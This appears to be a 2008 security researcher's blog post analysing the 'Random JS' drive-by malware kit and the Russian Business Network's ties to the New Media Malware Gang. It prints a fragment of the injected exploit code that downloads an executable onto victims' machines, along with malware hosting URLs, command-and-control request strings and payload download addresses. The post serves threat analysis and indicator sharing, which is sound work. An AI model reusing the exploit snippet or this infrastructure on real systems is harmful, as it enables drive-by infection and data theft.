The Random JS Malware Exploitation Kit

The Random JS infection kit as originally named by Finjan, is perhaps the first publicly announced malicious innovation for 2008, in fact I've managed to obtain a copy of a sample .js and witness the filename change on the next request combined with complete disappearance of any .js on the third visit. Here's some press coverage - "Over 10,000 trusted websites infected by new Trojan toolkit" :

"The random js attack is performed by dynamic embedding of scripts into a webpage. It provides a random filename that can only be accessed once. This dynamic embedding is done in such a selective manner that when a user has received a page with the embedded malicious script once, it will not be referenced again on further requests. This method prevents detection of the malware in later forensic analyses."

And several more articles - "Hacking Toolkit Compromises Thousands Of Web Servers" ; "Trojan toolkit infected 10000 Web sites in December" ; "Legitimate sites serving up stealthy attacks". Compared to all of the malware embedded attacks during 2007 which were serving the malware from a secondary domain, as well as the exploits themselves, in attack technique is hosting everything on the infected domain. Sample random and local malware locations :

bunburyymas.com/ihkxtmzl

bunburyymas.com/odjiffkl

techicorner.com/bcuoixqf

otcash.com/ktehxwmj

otcash.com/soqutkue

otcash.com/bemkwijz

Sample .js random filenames :

cgolu.js; czynd.js; eenom.js; eqfps.js; erztp.js; frpmg.js; iggmy.js; jiodm.js; khkev.js; kksyr.js; kobgw.js; kolqj.js; lvmlt.js; nrvaj.js; oalhi.js; pcqab.js; tezam.js; tfxep.js; unolc.js; vduoz.js;

Sample malware hosting URL snippet :

bunburyymas.com/odjiffkl","c:\\mosvs8.exe",5,1,"mosvs8"); } catch(OBJECT id=yah8 classid=clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F> try { yah8.GetFile( bunburyymas.com/odjiffkl","c:\\mosvs8.exe",5,1,"mosvs8"); } catch(

Copies of the malware obtained mosvs8.exe -- and logically submitted to each and every anti virus vendor on behalf of VirusTotal just like every sample I ever came across to in the incident responses -- attempt to connect to 206.53.51.75, 206.53.56.30, and back39409404.com, making naughty web requests such as :

206.53.51.75/cgi-bin/options.cgi?user_id=3335213046&socks=6267&version_id=904&passphrase=fkjvhsdvlksdhvlsd&crc=3c64cb2e

&uptime=00:00:58:38

back39409404.com/cgi-bin/options.cgi?user_id=3335213046&socks=6267&version_id=904&passphrase=fkjvhsdvlksdhvlsd&crc=3c64cb2e

&uptime=00:00:58:35

The following files are partly accessible at the still active C&C's, the first one for instance :

cgi-bin/forms.cgi

cgi-bin/cert.cgi

cgi-bin/options.cgi

cgi-bin/ss.cgi

cgi-bin/pstore.cgi

cgi-bin/cmd.cgi

cgi-bin/file.cgi

Did anti virus vendors come up with a detection pattern for the .js already? Partly.

Detection rate : Result: 11/32 (34.38%) JS.IEslice.aq; JS/SillyDlScript.DG; Exploit:JS/Mult.K

File size: 31679 bytes

MD5: 93152dc2392349d828526157bf601677

SHA1: 1b10790d16c9c0d87132d40503b37f82b7f03560

And now that we've witnessed the execution of such an advanced and random attack approach limiting the possibilities for assessing the impact of a malware embedded attack the way it was done so far, we can only speculate on what's to come by the end of the first quarter of 2008. From my perspective however, the smartest thing in this type of attack technique is that they limit the leads they leave behind to the minimum, thus, forwarding the responsibility to the infected host and limiting the possibility for easy expanding of the rest of their ecosystem. Moreover, despite that the module or the actual kit if it's really a kit is a Proprietary Malware Tool for the time being, it will sooner or later leak out, and turn into a commodity, just like MPack and IcePack are these days.

RBN's Fake Account Suspended Notices

In the last quarter of 2007, under the public pressure put on the Russian Business Network's malicious practices, the RBN started faking the removal of malicious domains from its network by placing fake account suspended notices, but continuing the malware and exploit serving campaigns on them. And since I constantly monitor RBN activity, in particular their relationship with the New Media Malware Gang and Storm Worm, a relationship that I've in fact established several times before, a recently assessed malicious domain further expands their underground ecosystem. Let the data speak for itself :

dev.aero4.cn/adpack/index.php (195.5.116.244) once deobfuscated loads dev.aero4.cn/adpack/load.php :

Detection rate : 11/32 (34.38%)
File size: 6656 bytes
MD5: 5eb0ee32613d8a611b6dc848050f3871
SHA1: 55c0448645a8ed2e14e6826fae25f8f9c868be30

It gets even more interesting as the downloader attempts to download the following :

88.255.94.250/s2/200.exe
88.255.94.250/s2/m.exe
88.255.94.250/s2/d.exe
88.255.94.250/s2/un.php

And as I've already pointed out in a previous post, 88.255.94.250 is the New Media Malware Gang. Moreover, next to m.exe and d.exe with an over 50% detection rates, 200.exe is impressively detected by one anti virus vendor only :

Detection rate : 1/32 (3.13%)
File size: 33280 bytes
MD5: 9bf9265df5dea81135355d161f3522be
SHA1: 44cdcaf5e8791e10506e3343d73a2993511fa91f

Further continuing this assessment, firewalllab.cn (203.117.111.106) also responds to aero4.cn, and is hosted at AS4657 STARHUBINTERNET AS Starhub Internet Pte Ltd 31, Kaki Bukit Rd 3 SINGAPORE (previously known as CyberWay Pte Ltd). Even more interesting is the fact that 203.117.111.106 is also responding to known New Media Malware Gang domains :

businesswr.cn
fileuploader.cn
firewalllab.cn
otmoroski.cn
otmoroski.info
security4u.cn
tdds.ru
traffshop.ru
x-victory.ru

Furthermore, 203.117.111.106 seems to have made an appearance at otrix.ru, where in between the obfuscation an IFRAME loads to 58.65.233.97/forum.php, where two more get loaded 4qobj63z.tarog.us/tds/in.cgi?14; 4qobj63z.tarog.us/tds/in.cgi?15. Deja vu, again, again and again - 4qobj63z.tarog.us was among the domains used in the malware embedded attack again the French government's site related to Lybia, and there I made the connection with the New Media Malware Gang for yet another time.

There's indeed a connection between the RBN, Storm Worm and the The New Media malware gang. The malware gang is either a customer of the RBN, partners with the RBN sharing know-how in exchange for infrastructure on behalf of the RBN, or RBN's actual operational department. Piece by piece and an ugly puzzle picture appears thanks to everyone monitoring the RBN that is still 100% operational.